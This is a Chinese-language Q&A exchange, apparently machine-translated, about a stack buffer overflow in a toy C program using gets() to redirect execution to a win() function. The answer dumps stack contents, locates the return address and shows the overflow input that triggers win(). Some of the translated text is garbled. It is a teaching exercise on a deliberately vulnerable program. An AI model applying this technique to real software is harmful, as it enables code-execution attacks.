所以我试图对以下代码执行基于堆栈的缓冲区溢出:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("well done!");
}
void vulnfunc(){
char buffer[36];
gets(buffer);
printf("Buffer contents are %sn",buffer);
}
int main(int argc,char**argv){
vulnfunc();
}
因此,我用44个字节(缓冲区的36个字节和额外的8个字节(覆盖EIP。然后我得到了函数win的地址,将其从0x53e58955
更改为适当的类似
x55x89xe5x53
当我将两个字符串连接在一起作为输入时,它仍然不会调用win()
函数。我尝试添加"BBBB"
作为填充ebp的填充,但也没有成功。如果有人能给我一些建议,我将非常感激。
它在Ubuntu上运行,x86_64
我在Windows上重现了漏洞。由于系统和控制台可能不同,我将解释过程而不是原始代码。因此,它将不是复制粘贴解决方案,而是通过复制过程生成类似结果的解决方案。
首先,我想找出堆栈结构。因此,我执行了以下修改后的vulnfunc()
:
void vulnfunc(){
char buffer[36];
printf("win(): 0x%pn", win);
printf("vulnfunc(): 0x%pn", vulnfunc);
printf("main(): 0x%pn", main);
printf("printf(): 0x%pn", printf);
printf( "0x%08X %08X %08X %08Xn",
(int) *((int*)&buffer[36]), (int) *((int*)&buffer[40]),
(int) *((int*)&buffer[44]), (int) *((int*)&buffer[48]));
printf( "0x%08X %08X %08X %08Xn",
(int) *((int*)&buffer[52]), (int) *((int*)&buffer[56]),
(int) *((int*)&buffer[60]), (int) *((int*)&buffer[64]) );
printf( "0x%08X %08X %08X %08Xn",
(int) *((int*)&buffer[68]), (int) *((int*)&buffer[72]),
(int) *((int*)&buffer[76]), (int) *((int*)&buffer[80]) );
gets(buffer);
}
正如您所看到的,我打印了win()
地址以及所有其他相关函数,包括main
和printf
。然后,我在缓冲区array
之后打印堆栈的相关部分(48字节(。
我得到了以下输出:
win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
函数的地址很有用,因为我需要的是main()
中的返回地址(地址0x00000000004016D9
(。候选人当然是004016F2
。
因此,我需要的是通过gets()
插入足够的字符,以便到达所需的地址。我们需要准确地插入24个字符,即buffer
数组末尾以外从字节21到字节24的字符,即包含地址的字符。前面20个字节的值并不重要,所以我插入随机ASCII字符。
结果是预期的结果:
win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0§@
Buffer contents are 123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0@
well done!
<crash>
请注意如何:
- CCD_;合法的";阵列的面积
- CCD_ 15为20〃;填充";字符,只是为了到达堆栈的所需位置
- 注入的地址是
0§@
(0x30
、0x15
和0x40
(,由gets()
填充的字符串终止符提供缺失的0x00
按预期执行win()
函数;之后会发生崩溃,因为从中返回后,堆栈在main()
上没有包含正确的返回地址(它已损坏(。
在Ubuntu上,你可能会有不同的堆栈配置,但通过非常相似的方式,你可以发现如何执行所需的漏洞。